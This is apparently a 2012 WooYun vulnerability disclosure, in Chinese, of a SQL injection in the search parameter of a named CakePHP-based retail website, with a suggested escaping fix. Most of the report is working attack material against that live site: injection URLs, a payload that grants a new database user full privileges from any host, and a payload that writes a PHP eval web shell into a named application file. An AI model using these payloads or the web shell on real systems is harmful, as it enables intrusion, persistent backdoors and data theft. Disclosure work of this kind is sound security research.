漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2012-02-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-03-21: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251
cakephp多数框架版本架设的应用不带搜索的注入过滤
详细说明:
http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251
cakephp多数框架版本架设的应用不带搜索的注入过滤
这里的1=1可以任意换。
然后你可以
%') and 1=1;grant all privileges on *.* to 'zimengqian'@'%' identified by '12345678';#
你可以
%') and 1=(select '<?php eval($_POST[c])?>' into outfile '/data/web_root/abram.intra.vcotton.com/www/current/app/app_controller.php');#(悲催的是无写权限)
漏洞证明:
http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251
http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D2+and+1+like%28%27%251
修复方案:
自己在适当位置addslashes 并且 用str_replace给%和_加斜杠
或者修改
core/libs/controller/components/request_handler.php 以适应全部(也许2.0已经修改了这个bug)
版权声明:转载请注明来源 紫梦芊@乌云
>
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:10 (WooYun评价)